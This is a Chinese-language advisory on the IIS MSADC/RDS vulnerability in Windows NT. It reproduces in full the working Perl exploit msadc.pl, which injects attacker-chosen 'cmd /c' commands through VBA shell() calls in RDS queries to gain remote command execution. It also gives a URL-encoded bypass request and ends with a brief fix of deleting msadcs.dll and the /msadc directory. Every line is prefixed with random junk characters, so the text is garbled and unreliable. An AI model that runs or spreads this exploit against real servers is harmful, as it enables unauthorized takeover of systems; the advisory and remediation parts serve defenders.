IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
'ptD`)^( 3)ZdT{MY 涉及程序:
'!V5 #J Microsoft NT server
n "J+?~9 DTx!# [ 描述:
E\_Wpk 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
__mnz``/Y \c1NIuJR 详细:
u*h+c8|zI 如果你没有时间读详细内容的话,就删除:
U??T> c:\Program Files\Common Files\System\Msadc\msadcs.dll
Id(wY$C&> 有关的安全问题就没有了。
TXH9BlDn U%PII>s'# 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
L/+KY_b:* bP+b~!3 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
>}I BPC 关于利用ODBC远程漏洞的描述,请参看:
9im<J' $~G=Hcl9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $D%[}[2 f7du1k3 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
yG/_k!{9 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;,&$ob*/ jmkVolz 这里不再论述。
)=9EShz! .29y3}[PO 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
A}h`%b [BLBxSL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$%GW~|S\C 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
J;R1OJs S m Bc2x8g) j~#nJI5] #将下面这段保存为txt文件,然后: "perl -x 文件名"
jn:9Cr,o;g jWE?$r" #!perl
U%qE=u- #
=)O%5<Lwx # MSADC/RDS 'usage' (aka exploit) script
s.{nxk. #
vi8)U]6 # by rain.forest.puppy
p2)563#RS #
I}!ErV # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
id=:J7!QU # beta test and find errors!
*y@Xm~ld
xA7Aw0 use Socket; use Getopt::Std;
,JVWn>s getopts("e:vd:h:XR", \%args);
WKDa]({k% *$6dN x print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
V!XT=Ou?6 (7k}ysc if (!defined $args{h} && !defined $args{R}) {
K4`)srd print qq~
tpQ?E<O Usage: msadc.pl -h <host> { -d <delay> -X -v }
#l<un< -h <host> = host you want to scan (ip or domain)
L &nqlH@+~ -d <seconds> = delay between calls, default 1 second
4IUdlb -X = dump Index Server path table, if available
Jp#Onl+d6 -v = verbose
m&&Y=2 -e = external dictionary file for step 5
w1 5QqhlK y2=`NG= Or a -R will resume a command session
a|5^4 J\% }s>.Fh ~; exit;}
[i 7^a/e O_bgrXg6x $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
OMM5p=2Q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R{3vPG if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)u67=0s2i+ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!8ch&cr)o+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5+yT{,(5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W, YYL(L ^U@-Dp,k+ if (!defined $args{R}){ $ret = &has_msadc;
= 3("gScUj die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
T^F9A55y V#-\ 4`c print "Please type the NT commandline you want to run (cmd /c assumed):\n"
3l?-H|T . "cmd /c ";
2"IsNbWV $in=<STDIN>; chomp $in;
Q(0eq_X|6 $command="cmd /c " . $in ;
|(Q !$ rfwX:R6,g if (defined $args{R}) {&load; exit;}
bayDdR4T
J~=tR1k print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
RX6s[uQ &try_btcustmr;
WPXLN'w+ q?TI(J+/ print "\nStep 2: Trying to make our own DSN...";
Sb,lY<= &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
c!20((2|I Fmo^ ?~b print "\nStep 3: Trying known DSNs...";
iLR^ V! &known_dsn;
Hs>|-iDs( *\4u :1Cu print "\nStep 4: Trying known .mdbs...";
R.rxpJ+kU &known_mdb;
$1< ~J *B ]5K{N if (defined $args{e}){
!^m,v19Ds< print "\nStep 5: Trying dictionary of DSN names...";
Oqy&V&-C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}_GI%+t tJgo%P1 print "Sorry Charley...maybe next time?\n";
WAWy3i exit;
B$)&;Q 530Z>q ##############################################################################
R[Y{pT,AY R3\oLT4 sub sendraw { # ripped and modded from whisker
PY{])z3N sleep($delay); # it's a DoS on the server! At least on mine...
6OLp x)fG my ($pstr)=@_;
$u-yw1FT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
N sNk
die("Socket problems\n");
W:V:Ej7 h if(connect(S,pack "SnA4x8",2,80,$target)){
C_q@ixF{ select(S); $|=1;
J~,Ny_L print $pstr; my @in=<S>;
~wl4 select(STDOUT); close(S);
s4uYp return @in;
}_[Bp } else { die("Can't connect...\n"); }}
c^a Dr kH9P(`;Vq ##############################################################################
+;*dFL |^! sub make_header { # make the HTTP request
y^xEZD1X6- my $msadc=<<EOT
;kv/(veQ1< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
D<SLv,Y User-Agent: ACTIVEDATA
IA&NMf;{ Host: $ip
3|qT.QR`Z Content-Length: $clen
`of`u B Connection: Keep-Alive
Z#nPn>,q $~s|%>@ ADCClientVersion:01.06
7%g8&d Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
']]5xH*U 7>sNjOt@M --!ADM!ROX!YOUR!WORLD!
/%4wm?(eA Content-Type: application/x-varg
g(`m#&P>G Content-Length: $reqlen
KbP( ; "jFRGgd79 EOT
F{;{o^Pv ; $msadc=~s/\n/\r\n/g;
:1/K$A)^{ return $msadc;}
Q(gc(bJV P_{jZ}y( ##############################################################################
|gP9^B?3 5OS|Vp||b sub make_req { # make the RDS request
w,/&oe5M+ my ($switch, $p1, $p2)=@_;
_pZaVx
my $req=""; my $t1, $t2, $query, $dsn;
Q+ tUxa+ g82_KUkB if ($switch==1){ # this is the btcustmr.mdb query
8;vpa* $query="Select * from Customers where City=" . make_shell();
WBIJ9e2~ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=!pfgE $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g~#HiBgWq[ ^qgOgu elsif ($switch==2){ # this is general make table query
%%-hax.x0X $query="create table AZZ (B int, C varchar(10))";
BEfp3|Stb $dsn="$p1";}
nS`DI92I +2WvGRC elsif ($switch==3){ # this is general exploit table query
s1/:Ts[3i $query="select * from AZZ where C=" . make_shell();
SA1|7 $dsn="$p1";}
b7nER]R &N^^[
uG elsif ($switch==4){ # attempt to hork file info from index server
L4w KG& $query="select path from scope()";
p"lTZ7c:Y $dsn="Provider=MSIDXS;";}
W\W|v?r O
F|3y~z elsif ($switch==5){ # bad query
fsr0E=nV $query="select";
}>|!Mf]W?R $dsn="$p1";}
icnc5G _#2AdhCu $t1= make_unicode($query);
l[)ZEEP $t2= make_unicode($dsn);
P{{pp<tX*& $req = "\x02\x00\x03\x00";
y66V`,e0 $req.= "\x08\x00" . pack ("S1", length($t1));
liuF;* $req.= "\x00\x00" . $t1 ;
e?"XMY $req.= "\x08\x00" . pack ("S1", length($t2));
b}eBy $req.= "\x00\x00" . $t2 ;
Gx.iZOOH/ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Le*sLuxk< return $req;}
@aX$} zURob MpE# ##############################################################################
n%"0%A P%- @AmO^_ sub make_shell { # this makes the shell() statement
"AAzBWd/ return "'|shell(\"$command\")|'";}
/<\B8^yQ g'F{;Ur ##############################################################################
c,\!<4 @H?_x/qBT sub make_unicode { # quick little function to convert to unicode
e{8j(` (;# my ($in)=@_; my $out;
x-Cy,d:YX for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
H /kSFf{ return $out;}
4IW7^Pq`P h.`U)6*?&N ##############################################################################
@7C?]/8# lQnl6j sub rdo_success { # checks for RDO return success (this is kludge)
U!0 Qf7D my (@in) = @_; my $base=content_start(@in);
2L'vB1` if($in[$base]=~/multipart\/mixed/){
_B5t)7I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
UX9r_U5) return 0;}
:n4X>YL) axRzn:f ##############################################################################
6"d^4L? ~sI$xX! sub make_dsn { # this makes a DSN for us
/Ww_fY my @drives=("c","d","e","f");
1b6ox6 print "\nMaking DSN: ";
KvFGwq"X foreach $drive (@drives) {
jmcb-=ts print "$drive: ";
YEEgDw]BQ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
*acN/Ca1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1lxsj{>U . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
#b~wIOR)Z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7*7Z&1*3 return 0 if $2 eq "404"; # not found/doesn't exist
rb/m;8v> if($2 eq "200") {
J|orvnkK
foreach $line (@results) {
?D].Za^km return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
j4au
Zl]NF } return 0;}
sGf\!w h48JpZ" ##############################################################################
lF:gQ]oc MI|51&m sub verify_exists {
CvCk#:@HM my ($page)=@_;
iK*2 Z$`lw my @results=sendraw("GET $page HTTP/1.0\n\n");
He)<S?X-6 return $results[0];}
|P_\l,f8` [TZlvX(E ##############################################################################
p< fKj d9zI
A6y sub try_btcustmr {
$c-h'o my @drives=("c","d","e","f");
&CvNNDgrJ my @dirs=("winnt","winnt35","winnt351","win","windows");
uC3o@qGW< ?|8QL9Q"| foreach $dir (@dirs) {
&^ sgR$m print "$dir -> "; # fun status so you can see progress
:*bmc /c foreach $drive (@drives) {
Wgl7)Xk.) print "$drive: "; # ditto
UFxQ-GV4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$XFiH~GI $reqlenlen=length( "$reqlen" );
W;]*&P[[
$clen= 206 + $reqlenlen + $reqlen;
+Y!9)~f}7X Hno:"k? my @results=sendraw(make_header() . make_req(1,$drive,$dir));
G<kslTPyq if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
~jab/cR else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&zsaVm8 Le9^,B@Pb ##############################################################################
B2~KkMF VGoD2,(b^ sub odbc_error {
+OFq=M my (@in)=@_; my $base;
6!} @vp![ my $base = content_start(@in);
j2T
Z`Z?a^ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]HP
aM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,?GEL>F $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_ x&Y'X| $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%eCbH` return $in[$base+4].$in[$base+5].$in[$base+6];}
4,m
aA print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|3f?1:"Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
?5e:w?&g@ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
UQ#"^`=R< "d'D:>z]% ##############################################################################
kP9DCDO`[5 dxkq* sub verbose {
+0mU) 4n/ my ($in)=@_;
3]BK*OqJ return if !$verbose;
Hu|;cbK print STDOUT "\n$in\n";}
Ml1sE,BT <Q'J=;vV ##############################################################################
3z9}cOFq]z l5ww-#6Z sub save {
OosxuAC( my ($p1, $p2, $p3, $p4)=@_;
H8+7rM open(OUT, ">rds.save") || print "Problem saving parameters...\n";
GU'/-6-T print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"ewSh<t close OUT;}
GGcNaW' h.@5vhD ##############################################################################
62~8>71;' g$<Sh.4A sub load {
iE$qq~% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T !C39T open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4$LVl @p=<IN>; close(IN);
?4Z`^uy $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
coq7La[ $target= inet_aton($ip) || die("inet_aton problems");
rf_(pp) print "Resuming to $ip ...";
]ovP^]]V $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
4 {JoeIRyz if($p[1]==1) {
9~i=Af@ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"w.gP8` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q$!dPwDg my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4SRX@/ #8* if (rdo_success(@results)){print "Success!\n";}
bK:mt `
else { print "failed\n"; verbose(odbc_error(@results));}}
Os--@5e elsif ($p[1]==3){
OKs1irt5 if(run_query("$p[3]")){
rEEoR'c6 print "Success!\n";} else { print "failed\n"; }}
8UiRirw elsif ($p[1]==4){
2fIHFo\8 if(run_query($drvst . "$p[3]")){
H/"$#8-/ print "Success!\n"; } else { print "failed\n"; }}
xwK{}==U exit;}
BEWDTOY[ ,@1rP 55 ##############################################################################
J?VMQTa/+ *9J>3 sub create_table {
-I
dW-9~9 my ($in)=@_;
'/l<\b/E $reqlen=length( make_req(2,$in,"") ) - 28;
LYY3*d $reqlenlen=length( "$reqlen" );
LsB|}_j7 $clen= 206 + $reqlenlen + $reqlen;
XdS&s}J[I my @results=sendraw(make_header() . make_req(2,$in,""));
?wM{NVt#- return 1 if rdo_success(@results);
ejs_ ? my $temp= odbc_error(@results); verbose($temp);
6! `^}4 return 1 if $temp=~/Table 'AZZ' already exists/;
8SH&b8k<< return 0;}
_{$eOwB S9\_ODv ##############################################################################
=+>cTV 9BW"^$ sub known_dsn {
L>xecep # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d2'1
6.lV my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
BF)!VnJ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Q`= ,&;T> "banner", "banners", "ads", "ADCDemo", "ADCTest");
,%Go.3i[ Zw@=WW[Q`p foreach $dSn (@dsns) {
?rauhTVnJ print ".";
y}aKL(AaU next if (!is_access("DSN=$dSn"));
^:hI bF4G if(create_table("DSN=$dSn")){
t[=-4; print "$dSn successful\n";
Go;fQ yG if(run_query("DSN=$dSn")){
zDK"Y{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|FED< print "Something's borked. Use verbose next time\n";}}} print "\n";}
PvHX#wJ o57r ,`N ##############################################################################
{wK|C<K -K%hug
sub is_access {
OdSglB my ($in)=@_;
hiT&QJB` _ $reqlen=length( make_req(5,$in,"") ) - 28;
8?l/x $reqlenlen=length( "$reqlen" );
Sv#S_jh $clen= 206 + $reqlenlen + $reqlen;
;rj|> my @results=sendraw(make_header() . make_req(5,$in,""));
Ea<kc[Q my $temp= odbc_error(@results);
ov$S verbose($temp); return 1 if ($temp=~/Microsoft Access/);
z79c30y]" return 0;}
pB;8yz= r)]8zK4;= ##############################################################################
B'}pZOa[Wb r,8~qHbOT sub run_query {
BbCaIt my ($in)=@_;
K| w\KX0 $reqlen=length( make_req(3,$in,"") ) - 28;
;${_eab] $reqlenlen=length( "$reqlen" );
!,Uzt1K: $clen= 206 + $reqlenlen + $reqlen;
@h
E7F} my @results=sendraw(make_header() . make_req(3,$in,""));
96#aGh> return 1 if rdo_success(@results);
hVGK%HCz& my $temp= odbc_error(@results); verbose($temp);
Sv>bU4LHf return 0;}
. UaLP sZh| <2 ##############################################################################
!;%+1j?d `:*O8h~i^8 sub known_mdb {
>HRL@~~Z my @drives=("c","d","e","f","g");
0\KDa$'1k my @dirs=("winnt","winnt35","winnt351","win","windows");
~!7!Y~(+ my $dir, $drive, $mdb;
{8e4TD9E0 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/cC4K\M 6` 4, # this is sparse, because I don't know of many
AAc*\K my @sysmdbs=( "\\catroot\\icatalog.mdb",
kP[LS1}* "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
N_o|2 "\\system32\\certmdb.mdb",
4S\S t< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
p%#=OtkC ZOzwO6(_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
3R?6{. "\\cfusion\\cfapps\\forums\\forums_.mdb",
qBF}-N_ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8;<3Tyjzu "\\cfusion\\cfapps\\security\\realm_.mdb",
,7os3~Mk9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_%@ri]u{ov "\\cfusion\\database\\cfexamples.mdb",
:Oh*Q(> "\\cfusion\\database\\cfsnippets.mdb",
z;lWr(-x "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
l|L
]==M "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
?656P=b) "\\cfusion\\brighttiger\\database\\cleam.mdb",
['_W< "\\cfusion\\database\\smpolicy.mdb",
PM8*/4Cu.5 "\\cfusion\\database\cypress.mdb",
I*EHZctH "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
tk66Ggi[K "\\website\\cgi-win\\dbsample.mdb",
d 6=Z=4w "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
>p>B-m "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
JLh{>_Rr ); #these are just
0NMmN_Lr foreach $drive (@drives) {
"7}e~*bM?` foreach $dir (@dirs){
tE"IE$$1 foreach $mdb (@sysmdbs) {
#<81`% print ".";
b0aV?A}th if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(dHil#l print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
i'MpS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
5NN`tv print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
KA{JSi } else { print "Something's borked. Use verbose next time\n"; }}}}}
ij&T\):d _Eus7 foreach $drive (@drives) {
#sb@)Q foreach $mdb (@mdbs) {
8^5@J)R8 print ".";
IP+.L]S if(create_table($drv . $drive . $dir . $mdb)){
k[8{N print "\n" . $drive . $dir . $mdb . " successful\n";
zdgSqv if(run_query($drv . $drive . $dir . $mdb)){
gh<2i\})' print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
pe>[Ts`2F } else { print "Something's borked. Use verbose next time\n"; }}}}
IaYaIEL- }
*ulkqpO Q)93+1] ##############################################################################
[KNA5(Y0 A9kn\U92 sub hork_idx {
Ct9dV7SH print "\nAttempting to dump Index Server tables...\n";
>L,Pw1Y0W[ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
* %w8bB $reqlen=length( make_req(4,"","") ) - 28;
2}kJN8\F $reqlenlen=length( "$reqlen" );
]<:qMLg $clen= 206 + $reqlenlen + $reqlen;
A*TO0L my @results=sendraw2(make_header() . make_req(4,"",""));
(x1 #_~ if (rdo_success(@results)){
sg8j}^VI my $max=@results; my $c; my %d;
p(pL" for($c=19; $c<$max; $c++){
Km!~zG7< $results[$c]=~s/\x00//g;
`c /mmS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
K yDPD' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*s (L!+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ySNXjH
Q= $d{"$1$2"}="";}
K%(DRkj) foreach $c (keys %d){ print "$c\n"; }
(x/xqDpmBS } else {print "Index server doesn't seem to be installed.\n"; }}
O"m(C[+[ C0[Z>$ ##############################################################################
/}R*'y nPj
&a sub dsn_dict {
m!^z{S open(IN, "<$args{e}") || die("Can't open external dictionary\n");
}D*5PV%d while(<IN>){
DH'0# $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Or"+d 5 next if (!is_access("DSN=$dSn"));
ER)to<k if(create_table("DSN=$dSn")){
/4Jm]" print "$dSn successful\n";
nW!pOTJq21 if(run_query("DSN=$dSn")){
/=~o|-n8@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TY]-L1$ print "Something's borked. Use verbose next time\n";}}}
OuV
f<@a print "\n"; close(IN);}
qZ rv2dT w0YV87 ##############################################################################
r>;6>ZMe V8+8?5'l sub sendraw2 { # ripped and modded from whisker
/6nj
4.xxc sleep($delay); # it's a DoS on the server! At least on mine...
>SaT?k1E my ($pstr)=@_;
7f#r&~= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%fB!XCW die("Socket problems\n");
`;v>fTcy if(connect(S,pack "SnA4x8",2,80,$target)){
iw0|A print "Connected. Getting data";
]97`=,OUg open(OUT,">raw.out"); my @in;
=`fz#Mfd select(S); $|=1; print $pstr;
l_0/g^( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6;%Ajx close(OUT); select(STDOUT); close(S); return @in;
y5$AAas } else { die("Can't connect...\n"); }}
:Mzkm^7B *;X,yEK[ ##############################################################################
$x|4cW2 ,'^^OLez sub content_start { # this will take in the server headers
: ?J0e4.] my (@in)=@_; my $c;
O YayTKxN for ($c=1;$c<500;$c++) {
PBY^m+
if($in[$c] =~/^\x0d\x0a/){
Lzy Ix!S if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ZG bY else { return $c+1; }}}
ns`njx}C return -1;} # it should never get here actually
Mi2lBEu, ;@lC08SE ##############################################################################
E;)7#3gY1 04P!l sub funky {
<6[P5> my (@in)=@_; my $error=odbc_error(@in);
J'4V_Kjg- if($error=~/ADO could not find the specified provider/){
9#D?wR#J= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3*;S%1C^ exit;}
*7:HO{P>Y if($error=~/A Handler is required/){
)9?
^;HS print "\nServer has custom handler filters (they most likely are patched)\n";
gaa;PX exit;}
MaQ`7U5 |e if($error=~/specified Handler has denied Access/){
'Nn>W5#)) print "\nServer has custom handler filters (they most likely are patched)\n";
9&7$oI$!J exit;}}
5Ff1x-lQ F` "bMS ##############################################################################
FNB4YZ6 SJ;Kjq.Qo sub has_msadc {
,~^BoH} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
sV5S>*A[ my $base=content_start(@results);
"Z70
jkW[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ds|L'7 return 0;}
Y KWtsy h:l4:{A64 ########################
"5@k\?x" -/z #?J\ }!n90
9L 解决方案:
$(JB"%S8c 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
nD/;
Gq 2、移除web 目录: /msadc